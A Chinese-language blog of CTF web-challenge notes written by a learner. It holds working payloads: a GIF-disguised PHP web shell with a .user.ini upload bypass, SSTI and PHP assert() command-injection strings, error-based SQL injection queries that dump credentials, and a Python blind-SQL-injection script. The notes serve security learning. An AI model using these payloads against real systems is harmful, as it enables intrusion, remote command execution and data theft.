HANDLER … OPEN语句打开一个表,使其可以使用后续HANDLER … READ语句访问,该表对象未被其他会话共享,并且在会话调用HANDLER … CLOSE或会话终止之前不会关闭

HANDLER FlagHere OPEN;HANDLER FlagHere READ FIRST;HANDLER FlagHere CLOSE;#

我也不知道为什么。。。

[RoarCTF 2019]Easy Calc

不会做QwQ

参考了这个

一些想法:这题的calc.php中可以看出判断输入是不是式子不是在calc.php里,所以考虑加空格。

这题似乎不能用system函数。。。

[SUCTF 2019]CheckIn

这题不能上传.htaccess解决。。。

所以必须用.user.ini来做。。。

exif_imagetype() 读取一个图像的第一个字节并检查其签名。

还是GIF的马好弄。。

GIF89a
<script language="php">eval($_GET['cmd']);</script>

.user.ini中写入再蚁剑连接index.php即可

auto_prepend_file=01.gif

[护网杯 2018]easy_tornado

还不是很会做。。。。

对着答案操作了一遍

然后那个生成md5要用python的。。

import hashlib

def md5(s):
    md5 = hashlib.md5() 
    md5.update(s.encode('utf-8')) 
    return md5.hexdigest()

def filehash():
    filename = '/fllllllllllllag'
    cookie_secret = '703a79f7-6795-4a53-881c-b13a45dd0fff'
    print(md5(cookie_secret+md5(filename)))

filehash()

[ZJCTF 2019]NiZhuanSiWei

一道有趣的题

也可以data伪协议

?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=
?text=data://text/plain,welcome to the zjctf

注意不要多加空行。。。然而我还不是很会弄反序列化。。。

<?php
 
class Flag{  //flag.php  
    public $file="flag.php";  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
$a=new Flag();
echo serialize($a);
?>

记个板子在这里OvO

[GXYCTF2019]BabySQli

不大会。。。

看了答案

攻防世界 favorite_number

不是很懂正则表达式。。。

一些笔记:

PHP数组key溢出,简单的说就是stuff[4294967296]表示的值,与stuff[0]是一个。

因为preg_match()开启了/m,也就是开启了多行匹配,因此^和$不仅匹配字符串的开头和结尾,也能匹配一行的开头和结尾,因此可以利用%0a换一行,把命令写在其他的行,这样这个正则匹配就只能匹配到第一行了。

别的就是命令执行了OvO

参考资料

攻防世界 Web_python_template_injection

类似于tornado。。是一道模版注入题

我感觉模版注入题有点像命令执行。。。

反正我还不是很懂。。。

payload:%7B%7B().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__(%22os%22).popen(%22cat%20fl4g%22).read()'%20)%7D%7D

参考资料

攻防世界 shrine

又是一道SSTI。。。还是不会。。。对着答案操作了一遍。。。

—————–

emmm大概有一点点理解了。。。

整理了一下

[极客大挑战 2019]HardSQL

还是不会做。。。。只能说我学的太少了。。。。

先用BS试了一下哪些被过滤了。。。发现空格union什么的都不能用

空格的话,试了/**/%09什么的都不行。。

于是用括号包裹查询的东西就可以绕过了

然后就在BS上操作。。死活报错。。整不出来

结果我忘了用报错注入了。。。

admin'or(updatexml(1,concat(0x7e,database(),0x7e),1))#

concat后面好像一定要加~来意思一下。。。

接下来查表。。。

admin'or(updatexml(1,concat(0x7e,(select(table_name)from(information_schema.tables)where(table_schema)like('geek')),0x7e),1))#

where里的=被屏蔽了。。所以要用like来绕过

select外面必须要一个括号。。。不知道为什么。。。

然后再查列名

admin'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))#

然后可以查字段了。。。

admin'or(updatexml(1,concat(0x7e,(select(group_concat(id,'~',username,'~',password))from(H4rDsq1)),0x7e),1))#

只是只能看到flag左边的部分。。。

而mid和substring似乎被屏蔽了。。。

所以要用right函数。。。

admin'or(updatexml(1,concat(0x7e,(select(right(password,35))from(H4rDsq1)),0x7e),1))#

晕了TwT

但收获还是挺大的OvO

[CISCN2019 华北赛区 Day2 Web1]Hack World

感觉今天一天都嗑在这道题上了。。。

每当我以为自己掌握了SQL注入,总会出现一道让我眼前一黑的题

这道题的过滤我觉得很狡猾

一个空格没事,但左边多放点别的就不行了

union只要左右两边都有东西就不行了。。。

但可以发现这道题是整数型注入,而且1和2本来就是有结果的!

同上一题使用括号绕过空格!

利用1和2的结果,来布尔盲注OvO

于是我第一次自己写脚本OvO

import requests

url = "http://f5c8bb62-09cf-4b7b-9677-e6f58235001b.node4.buuoj.cn:81/index.php"
payload = {
	"id" : ""
}
flag=""
for i in range(1,50):
    for j in '-{}abcdefghijklmnopqrstuvwxyz1234567890':
        payload["id"]='(substr((select(flag)from(flag)),%d,1)=\'%c\')'%(i,j)
        html=requests.post(url,data=payload)
        while html.status_code!=200:
            html=requests.post(url,data=payload)
        if "Hello" in html.text:
            print(i)
            flag=flag+j;
            print(flag)
print(flag)

要注意可能会因为请求过多返回429。。。

这时候我们要用更多的请求打败他!

然后你会发现有几个位置的字符跑不出来。。。

因为’-‘也被屏蔽了。。。

手动加上去就行了

攻防世界 web2

最近在上海。。准备过年。。做的题可能比较少

反正就是一道水题。。。有趣的是rot13加密解密是一个函数

攻防世界 mfw

用GIthack看到了index.php…

然后不会做了

这里是利用了assert函数的漏洞

考虑构造?page=’) or system(‘cat ./template/flag.php’);//

这样拼接以后$file=”/template/’) or system(‘cat ./template/flag.php’);//.php”

替换后变成了assert(“strpos(‘”/template/’) or system(‘cat ./template/flag.php’);//.php”‘, ‘..’) === false”)

assert()函数会将括号中的字符当成代码来执行,并返回true或false。

2 Comments

Leave a Comment

您的电子邮箱地址不会被公开。